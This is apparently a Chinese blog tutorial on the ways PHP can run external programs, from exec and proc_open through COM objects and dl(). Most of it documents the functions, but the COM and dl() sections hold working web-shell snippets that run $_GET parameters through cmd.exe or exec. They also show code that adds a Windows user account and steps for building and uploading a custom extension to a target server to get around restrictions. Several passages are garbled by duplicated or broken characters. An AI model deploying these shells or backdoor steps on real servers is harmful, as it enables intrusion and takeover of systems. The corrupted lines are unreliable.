很多情况下需要php调用其他程序如shell命令、shell脚本、可执行程序等等,此时需要使用到诸如exec/system/popen/proc_open等函数,每种函数有各自适合使用的场景以及需要注意的地方。

前提:PHP没有运行在安全模式

如果PHP运行在安全模式下,那么在执行外部命令、打开文件、连接数据库、基于HTTP的认证这4个方面将会受到制约,可能在调用外部程序时无法获取预期的结果,此时需要设置特定目录,可以在php.ini中编辑safe_mode_exec_dir参数来指定。

  1. exec

原型:string exec ( string command [, array &output [, int &return_var]] )

描述:返回值保存最后的输出结果,而所有输出结果将会保存到 o u t p u t 数组, output数组, output数组,return_var用来保存命令执行的状态码(用来检测成功或失败)。

例子:$ret?=exec(“ls -al”, $output, $var);

注意:

A. 输出结果会逐行追加到 o u t p u t 中,因此在调用 e x e c 之前需要 u n s e t ( output中,因此在调用exec之前需要unset( output中,因此在调用exec之前需要unset(output),特别是循环调用的时候。

B. 如果想通过exec调用外部程序后马上继续执行后续代码,仅仅在命令里加"&"是不够的,此时exec依然会等待命令执行完毕;需要再将标准输出做重定向才可以,例如:exec(“ls -al >/dev/null &”, $output, $var);

C. 要学会善用EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(|),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。

  1. system

原型:string system ( string command [, int &return_var] )

描述:执行给定的命令,返回最后的输出结果;第二个参数是可选的,用来得到命令执行后的状态码。

例子:$ret=system(“ls -al”, $var);

注意:略。

  1. passthru

原型:void passthru (string command [, int return_var])

描述:执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码。

例子:passthru(“ls -al”, $var);

注意:略。

  1. popen

原型:resource popen ( string command, string mode )

描述:打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。?

例子:$fd=popen(“command”, ‘r’); r e t = f g e t s ( ret=fgets( ret=fgets(fd);

注意:只能打开单向管道,不是’r’就是’w’;并且需要使用pclose()来关闭。

  1. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

描述:与popen类似,但是可以提供双向管道。具体的参数读者可以自己翻阅资料,比如该博客:

注意:

A. 后面需要使用proc_close()关闭资源,并且如果是pipe类型,需要用pclose()关闭句柄。

B. proc_open打开的程序作为php的子进程,php退出后该子进程也会退出。

C.? 笔者在使用的时候遇到获取外部程序输出阻塞的问题,也就是在例子中的fgets($pipes[1])语句阻塞了,无法继续进行。经过多方查证后发现,问题一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, "****
");输出结果,此时需要加上fflush(stdout);才行,否则输出结果可能会暂留缓存中,无法真正输出,而php也就无法获取输出了。

例子:

// /< 打开管道
$pwd=" ***** " ;
$pipes=array ();
$command=" ***** " ;
$desc=array ( array ( ’ pipe ’ , ’ r ’ ) , array ( ’ pipe ’ , ’ w ’ ) , array ( ’ pipe ’ , ’ w ’ ));
$handle=proc_open ( $command , $desc , $pipes , $pwd );
if ( ! is_resource ( $handle )) {
fprintf (STDERR , " proc_open failed.
" );
exit ( 1 );
}
// /< 读写
fwrite ( $pipes [ 0 ] , " *****
" );
$ret=rtrim ( fgets ( $pipes [ 1 ]) , "
" );
// /< 关闭管道
fclose ( $pipes [ 0 ]);
fclose ( $pipes [ 1 ]);
fclose ( $pipes [ 2 ]);
proc_close ( $handle );

  1. shell_exec

原型:string?shell_exec?(?string)

描述:cmd:要执行的命令 ? ?返回值:命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

例子:

<?php echo shell_exec('pwd'); ?>

执行结果:/var/

7.?反撇号`

描述:shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体?

例子:

<?php echo `pwd`; ?>

执行结果:/var/

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )

描述:(PHP 4 >=4.2.0, PHP 5, PHP 7)

pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。

pcntl是linux下的一个扩展,可以支持php的多线程操作。

参数:

path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径

标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的

信息请查看您系统的execve(2)手册。

args: 一个要传递给程序的参数的字符串数组。

envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key=> value格

式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值:当发生错误时返回 FALSE ,没有错误时没有返回。

9.?COM组建(针对windwos环境下使用com组建)

原型:

Wscript.Shell->exec(command) //

Shell.Application->ShellExecute(appName,appArgs,appPath) //

Shell.Application->open(appPath) //要填写程序绝对路径,并且应该没有办法加参数

Shell.Application->NameSpace(“C:\Windows\System32”)->Items()->item(“cmd.exe”)->invokeverb()

Shell.Application->NameSpace(“C:\Windows\System32”)->Items()->item(“cmd.exe”)->invokeverbEx()

描述:在windwos下,并且在php中开启com组建扩展之后可以使用这种方法(打开方式自行百度)

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

例子:

<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout=$exec->StdOut(); $stroutput=$stdout->ReadAll(); echo $stroutput; ?> <?php $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->ShellExecute("net"," user tiny tiny /add"); //$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add"); ?> <?php $phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe"); ?> <?php $a=new COM("Shell.Application"); $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb(); ?> <?php $a=new COM("Shell.Application"); $a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx(); ?>

10.? dl()

要求:php没有开启安全模式,并且enable_dl选项为on,并且php版本支持dl函数

(在 PHP 5.3 里,此函数被某些 SAPI 移除了,也就是没有这个函数?)

说明:extension_dir选项可以指定扩展模块的目录,但是我们可以使用相对路径的方式绕过

原理:自己编写扩展,然后使用dl加载此扩展。

举例(linux):

准备工作:

自行上网下载apache和相近版本的php源码,按照apache和php的官方文档进行安装。

我们主要需要三个文件:phpize,php-config和ext_skel:在正确安装好了apache和php之后,

phpize和php-config将被安装(可以自行find),而ext_skel则是是在php源码中的ext目录中。

ext_skel是php源码包中的用来帮助制作扩展的程序。

1)转到php-x.x.xx/ext中首先新建xxx.skel文件,里面填写要制作的扩展中的函数原型,例如:

string exec(string str)

2)执行命令: --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目录,

里面则是扩展所需要的文件

3)cd tinymin

4)vi config.m4?

将 config.m4文件里面

dnl PHP_ARG_WITH(myext, for myext support,

dnl Make sure that the comment is aligned:

dnl [ --with-myext Include myext support])

修改成

PHP_ARG_WITH(myext, for myext support,

[ --with-myext Include myext support])

5)vi tinymin.c

将PHP_FUNCTION(exec)后面的大括号里面的代码的最后一行删除,并写上自己的代码,修改后如:PHP_FUNCTION(haha)

{

char *str=NULL;

int argc=ZEND_NUM_ARGS();

int str_len;

if (zend_parse_parameters(argc TSRMLS_CC, “s”, &str, &str_len)==FAILURE)?

return;

return system(str);

}

6)找到phpize:find / -name “phpize” 然后运行一下phpize:

/my_lamp/php/bin/phpize

  1. 同样方式找到php-config,然后运行configure:

–with-php-config=/my_lamp/php/bin/php-config

8)make&&make install?

之后便在自己的php扩展目录中生成了扩展tinymin.so

在目标服务器上面上传tinymin.so(不一定要在它的php扩展目录中,因为可以使用相对路径)

用法例如:

<?php dl("/tmp/tinymin.so"); echo exec($_GET['cmd']); ?>

这种方法也很老了,我在自己的的kali2上面尝试这样做的时候提示没有dl这个函数,具体原因参见php manual

windows上应该也是一样的原理。不过没有试过

11.? 内核变量

网址:

以上就是PHP调用外部程序的方法解析的详细内容,更多关于PHP调用外部程序的方法的资料请关注dituirenwu其它相关文章!

PHP调用外部程序的方法解析相关推荐

  1. PHP调用外部程序的方法

    很多情况下需要php调用其他程序如shell命令.shell脚本.可执行程序等等,此时需要使用到诸如exec/system/popen/proc_open等函数,每种函数有各自适合使用的场景以及需要注 ...

  2. 【Android NDK 开发】JNI 方法解析 ( C/C++ 调用 Java 方法 | 函数签名 | 调用对象方法 | 调用静态方法 )

    文章目录 I . 调用 Java 方法流程 II . 获取 jclass 对象 ( GetObjectClass ) III . 获取 jclass 对象 ( FindClass ) IV . JNI ...

  3. python怎么调用c语言_Python调用C语言程序方法解析

    Python调用C语言程序方法解析 首先我们需要将编写好的c程序文件编译为动态库文件(后缀名为.so) 使用下面的命令: gcc 原文件名.c -shared -o 新文件名.so 然后在python ...

  4. php+方法返回多个参数,PHP中调用外部程序,及其参数与返回值

    用了一下午,终于弄明白了如何在PHP代码中调用外部程序. 在PHP中调用外部程序主要有两个函数,system和exec. system的原型为string system(string command ...

  5. Delphi调用外部程序的集中方法

    Delphi调用外部程序 WinExec主要运行EXE文件.如:WinExec('Notepad.exe Readme.txt', SW_SHOW); WinExec(   lpCmdLine: LP ...

  6. java魔法堂_Java魔法堂:调用外部程序

    前言 Java虽然五脏俱全但总有软肋,譬如获取CPU等硬件信息,当然我们可以通过JNI调用C/C++来获取,但对于对C/C++和Windows API不熟的码农是一系列复杂的学习和踩坑过程.那能不能通 ...

  7. Delphi调用外部程序函数:WinExec() 和ShellExecute详解

    2019独角兽企业重金招聘Python工程师标准>>> Delphi调用外部程序函数:WinExec() 和ShellExecute详解 1,WinExec(): WinExec主要 ...

  8. 继承实现的原理、子类中调用父类的方法、封装

    一.继承实现的原来 1.继承顺序 Python的类可以继承多个类.继承多个类的时候,其属性的寻找的方法有两种,分别是深度优先和广度优先. 如下的结构,新式类和经典类的属性查找顺序都一致.顺序为D--- ...

  9. 在Word中调用外部程序两法

    你有没有想过,在编辑Word文档的时候,直接从Word中调用外部程序呢?其实这并不难,下面笔者就以在Word中调用计算器程序为例,简述具体的操作方法. 一.利用宏命令 1.点击"工具→宏&q ...

最新文章

  1. Android Wi-Fi基本操作
  2. 我也没想到 springboot + rabbitmq 做智能家居,会这么简单
  3. org.springframework.beans.factory.BeanCreationException: Error creating bean with name
  4. 数据结构之二叉树(遍历、建立、深度)
  5. php get安全字符,php安全之直接用$获取值而不$_GET 字符转义
  6. 老大,我就想加个索引,怎么就这么难?
  7. struts 依赖包
  8. Redis布隆过滤器
  9. 微软的SQLHelper类(含完整中文注释)
  10. 使用 ODBC .NET 提供程序和 Visual C# .NET 执行 SQL 参数化存储过程
  11. php工资条发放源码,如何通过邮箱批量单独发放工资条?(非常详细的图文指导,一看就懂)[腾讯企业邮箱]-腾曦网络...
  12. 写给那些让我糊里糊涂的HTTP、TCP、UDP、Socket
  13. day69_淘淘商城项目_02_dubbo介绍 + dubbo框架整合 + zookeeper + 商品列表查询实现 + 分页 + 逆向工程_匠心笔记
  14. 提示https不安全的原因及解决办法
  15. 主动学习与自监督学习结合的方法(Active Learning+Self-Supervision)
  16. 软件工程之功能性需求和非功能性需求
  17. 说说汉古中医对新型冠状病毒感染的认识和防治
  18. 计算方法/数值分析牛顿下山法C/C++实现方法
  19. moonseo小夜:作为一个seo伴随着技术的学习与提升
  20. 支付宝蚂蚁庄园线下支付链接,支付宝蚂蚁庄园线下支付地址

热门文章

  1. C# WinForm窗体制作以图片为背景的登陆界面
  2. 这些开源项目,值得收藏深入研究
  3. EDA学习1.4之二极管又回来了
  4. 单应性矩阵H和相机姿态参数R和T关系
  5. html css语义化
  6. 【源码】心电图APP分析仪
  7. iis服务器修改端口,Bindings bindings
  8. 常用ruby gem
  9. Gson int类型被转换成double问题解决(完美解决)
  10. 架构模式之 CS和BS的区别